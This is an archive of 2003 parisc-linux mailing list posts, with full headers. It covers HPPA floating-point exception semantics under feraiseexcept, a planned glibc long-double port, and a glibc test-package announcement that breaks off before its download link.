> I noticed from a certain time that (but always forget to report, sorry):
> update-menus[1098]: Cannot lock /var/run/update-menus.pid: Resource 
> temporarily unavailable Aborting.
>
> Is anybody els
> encounter also this pb (with debian/unstable at least)? 

I also encounter this problem on my 715 running debian unstable. I think

running update-menus during upgrade takes too much time, so dpkg thinks 
it isn't corresponding anymore. When runni
>g update-menus from prompt I 
don't get any error messages.

>
>
> Joel
>
Ruediger




-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Mon, 20 Oct 2003 12:01:58 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20031020160158.GC32666@systemhalted>
References: <20031020050229.GC26432@systemhalted> <200310201530.h9KFUYZN000693@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622893 377 80.91.229.3 (22 Nov 2014 02:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 10:05:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94A9C4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 10:05:56 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABcTn-00007S-00; Mon, 20 Oct 2003 12:01:59 -0400
Content-Disposition: inline
In-Reply-To: <200310201530.h9KFUYZN000693@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19883

On Mon, Oct 20, 2003 at 11:30:34AM -0400, John David Anglin wrote:
> > > I suggest looking at page 10-7.  It describes the PA 2.0 behavior
> > > for this situation.  I'm not an IEEE so I don't know offhand what it
> > > mandates.
> > 
> > Multiple exceptions per instruction is not the intended behaviour :)
> > I need two numbers, that when added only overflow, not overflow and
> > inexact. The same to be said for underflow. Perhaps I just need to 
> > dig more.
> 
> Well 10-7 talks explicitly about what happens when you get both
> exceptions on a single instruction.  On the otherhand, the discussion
> of the inexact exception seems to imply that inexact should only occur
> in an overflow/underflow situation when an overflow/underflow exception
> doesn't occur.  Possibly, the PA implementation is not consistent with
> IEEE mandated behavior, but I can't be sure.

My reading of 10-7 and the equivalent sections in the PA 1.1 arch
doc indicate that it _can_ happen outside of an overflow/underflow
situation. It just so happens that it can also be coupled with
underflow/overflow exceptions.

Does having them both at the same time violates the behaviour of
"feraiseexcept" in the ISO C standard (especially in the case of
underflow)? If feraiseexcept is called and only an underflow 
requested, but underflow and inexact are enabled, what then?

c.



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Mon, 20 Oct 2003 12:31:34 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200310201631.h9KGVZ49001423@hiauly1.hia.nrc.ca>
References: <20031020160158.GC32666@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622894 378 80.91.229.3 (22 Nov 2014 02:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:34 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 10:31:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB7224840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 10:31:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9KGVZDF001425;
	Mon, 20 Oct 2003 12:31:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9KGVZ49001423;
	Mon, 20 Oct 2003 12:31:35 -0400 (EDT)
In-Reply-To: <20031020160158.GC32666@systemhalted> from "Carlos O'Donell" at Oct 20, 2003 12:01:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19884

> > > Multiple exceptions per instruction is not the intended behaviour :)
> > > I need two numbers, that when added only overflow, not overflow and
> > > inexact. The same to be said for underflow. Perhaps I just need to 
> > > dig more.
> > 
> > Well 10-7 talks explicitly about what happens when you get both
> > exceptions on a single instruction.  On the otherhand, the discussion
> > of the inexact exception seems to imply that inexact should only occur
> > in an overflow/underflow situation when an overflow/underflow exception
> > doesn't occur.  Possibly, the PA implementation is not consistent with
> > IEEE mandated behavior, but I can't be sure.
> 
> My reading of 10-7 and the equivalent sections in the PA 1.1 arch
> doc indicate that it _can_ happen outside of an overflow/underflow
> situation. It just so happens that it can also be coupled with
> underflow/overflow exceptions.

I wasn't saying that inexact can't happen in other circumstances.  I
was wrong in including undeflow in the above and I mis-rembered the
statement at the top of 10-11.  It actually states that an inexact
exception shall be signaled if an overflow occurs without an overflow
trap.

> Does having them both at the same time violates the behaviour of
> "feraiseexcept" in the ISO C standard (especially in the case of
> underflow)? If feraiseexcept is called and only an underflow 
> requested, but underflow and inexact are enabled, what then?

Does this help?  The standard says

"Whether the feraiseexcept function additionally raises the inexact
exception whenever it raises the overflow or underflow exceptions is
implementation defined."

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Mon, 20 Oct 2003 12:56:10 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200310201656.h9KGuAew001566@hiauly1.hia.nrc.ca>
References: <200310201631.h9KGVZ49001423@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622894 379 80.91.229.3 (22 Nov 2014 02:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:34 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 10:56:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9527C4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 10:56:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9KGuBDF001568;
	Mon, 20 Oct 2003 12:56:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9KGuAew001566;
	Mon, 20 Oct 2003 12:56:10 -0400 (EDT)
In-Reply-To: <200310201631.h9KGVZ49001423@hiauly1.hia.nrc.ca> from "John David Anglin" at Oct 20, 2003 12:31:34 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19885

> > Does having them both at the same time violates the behaviour of
> > "feraiseexcept" in the ISO C standard (especially in the case of
> > underflow)? If feraiseexcept is called and only an underflow 
> > requested, but underflow and inexact are enabled, what then?
> 
> Does this help?  The standard says
> 
> "Whether the feraiseexcept function additionally raises the inexact
> exception whenever it raises the overflow or underflow exceptions is
> implementation defined."

Also, in F.7.6.2,

"If the argument to the feraiseexcept function in <fenv.h> represents
IEC 60559 valid coincident exceptions for atomic operations (namely
overflow and inexact, or underflow and inexact) then overflow or
underflow is raised before inexact."

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Mon, 20 Oct 2003 13:31:24 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20031020173124.GD32666@systemhalted>
References: <20031020160158.GC32666@systemhalted> <200310201631.h9KGVZ49001423@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622894 381 80.91.229.3 (22 Nov 2014 02:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:34 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 11:35:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5890B4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 11:35:22 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABdsL-0000O2-00; Mon, 20 Oct 2003 13:31:25 -0400
Content-Disposition: inline
In-Reply-To: <200310201631.h9KGVZ49001423@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19886

> > Does having them both at the same time violates the behaviour of
> > "feraiseexcept" in the ISO C standard (especially in the case of
> > underflow)? If feraiseexcept is called and only an underflow 
> > requested, but underflow and inexact are enabled, what then?
> 
> Does this help?  The standard says
> 
> "Whether the feraiseexcept function additionally raises the inexact
> exception whenever it raises the overflow or underflow exceptions is
> implementation defined."

Ah! I must admit I missed that bit. It does help. It means that I can
officially mark our 'fenv' as compliant and wash my hands clean of any
worry :)

c.



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fenv laid to rest, 50% done porting dbl-64 to ldbl-64, no testing yet.
Date: Mon, 20 Oct 2003 13:34:40 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20031020173440.GE32666@systemhalted>
References: <200310201631.h9KGVZ49001423@hiauly1.hia.nrc.ca> <200310201656.h9KGuAew001566@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622895 383 80.91.229.3 (22 Nov 2014 02:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:35 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 11:38:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 808CD4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 11:38:37 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABdvU-0000Of-00; Mon, 20 Oct 2003 13:34:40 -0400
Content-Disposition: inline
In-Reply-To: <200310201656.h9KGuAew001566@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19887

On Mon, Oct 20, 2003 at 12:56:10PM -0400, John David Anglin wrote:
> > > Does having them both at the same time violates the behaviour of
> > > "feraiseexcept" in the ISO C standard (especially in the case of
> > > underflow)? If feraiseexcept is called and only an underflow 
> > > requested, but underflow and inexact are enabled, what then?
> > 
> > Does this help?  The standard says
> > 
> > "Whether the feraiseexcept function additionally raises the inexact
> > exception whenever it raises the overflow or underflow exceptions is
> > implementation defined."
> 
> Also, in F.7.6.2,
> 
> "If the argument to the feraiseexcept function in <fenv.h> represents
> IEC 60559 valid coincident exceptions for atomic operations (namely
> overflow and inexact, or underflow and inexact) then overflow or
> underflow is raised before inexact."

Yes, I have already taken this into account. Thanks for all the help
with spec interpretation. I appreciate the feedback. We pass all the
fenv tests in glibc, but still fail the long double support. I'm about
50% done porting dbl-64 to ldbl-64, might get done in the next few 
weeks. It would finally give us a functioning long double :)

c.



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fenv laid to rest, 50% done porting dbl-64 to ldbl-64, no testing yet.
Date: Mon, 20 Oct 2003 13:49:17 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200310201749.h9KHnHQ3001830@hiauly1.hia.nrc.ca>
References: <20031020173440.GE32666@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622895 385 80.91.229.3 (22 Nov 2014 02:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:35 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 11:49:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AEB54840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 11:49:20 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9KHnHDF001831;
	Mon, 20 Oct 2003 13:49:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9KHnHQ3001830;
	Mon, 20 Oct 2003 13:49:17 -0400 (EDT)
In-Reply-To: <20031020173440.GE32666@systemhalted> from "Carlos O'Donell" at Oct 20, 2003 01:34:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19888

> Yes, I have already taken this into account. Thanks for all the help
> with spec interpretation. I appreciate the feedback. We pass all the
> fenv tests in glibc, but still fail the long double support. I'm about
> 50% done porting dbl-64 to ldbl-64, might get done in the next few 
> weeks. It would finally give us a functioning long double :)

I think we should hold off on implementing this until we get a final
decision from HP on whether they will release their quadlib or not.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fenv laid to rest, 50% done porting dbl-64 to ldbl-64, no testing yet.
Date: Mon, 20 Oct 2003 15:04:30 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20031020190430.GF32666@systemhalted>
References: <20031020173440.GE32666@systemhalted> <200310201749.h9KHnHQ3001830@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622895 387 80.91.229.3 (22 Nov 2014 02:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:35 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 13:08:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB98F4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 13:08:28 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABfKR-0000gB-00; Mon, 20 Oct 2003 15:04:31 -0400
Content-Disposition: inline
In-Reply-To: <200310201749.h9KHnHQ3001830@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19889

On Mon, Oct 20, 2003 at 01:49:17PM -0400, John David Anglin wrote:
> > Yes, I have already taken this into account. Thanks for all the help
> > with spec interpretation. I appreciate the feedback. We pass all the
> > fenv tests in glibc, but still fail the long double support. I'm about
> > 50% done porting dbl-64 to ldbl-64, might get done in the next few 
> > weeks. It would finally give us a functioning long double :)
> 
> I think we should hold off on implementing this until we get a final
> decision from HP on whether they will release their quadlib or not.

Noted. I have reordered my hacking queue.

a- Generate new testing deb's for glibc
	= Includes providing debian with a new .dpatch
	(1-2 days)
b- Fix _r_debug.r_map loader problems.
	(Timeline unknown)
c- Finish light-weight kernel syscalls for atomic ops
	(A few weeks)
d- Continue implementing ldbl-64 based on dbl-64.
	= The first 50% was a "test the waters" patch.
	= It looks *very* feasible and easy to test.
	= Function renaming, rewriting, casting, and mangling.
	(A few weeks)

In parallel with my usual upstream pushes.

If HP gets up off their haunches before I get to "d-" then they win :),
else I will continue my work on ldbl-64. I *will* hold-off on the
release of such an implementation in favour of the 128-bit ldbl. I know
full well that once we release the ldbl-64 it will become our ABI.

c.



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (Round 2) hppa glibc 2.3.2-9 available for the brave testers (Round 2)!
Date: Mon, 20 Oct 2003 19:36:25 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <20031020233625.GB5606__40558.8121306666$1416622896$gmane$org@systemhalted>
References: <20031017180912.GD27289@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622896 388 80.91.229.3 (22 Nov 2014 02:21:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:36 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 17:40:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B16784954
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 17:40:22 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABjZa-0001Th-00; Mon, 20 Oct 2003 19:36:26 -0400
Content-Disposition: inline
In-Reply-To: <20031017180912.GD27289@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19890

debian-hppa, 
parisc-linux,

New testing deb's can be found at:

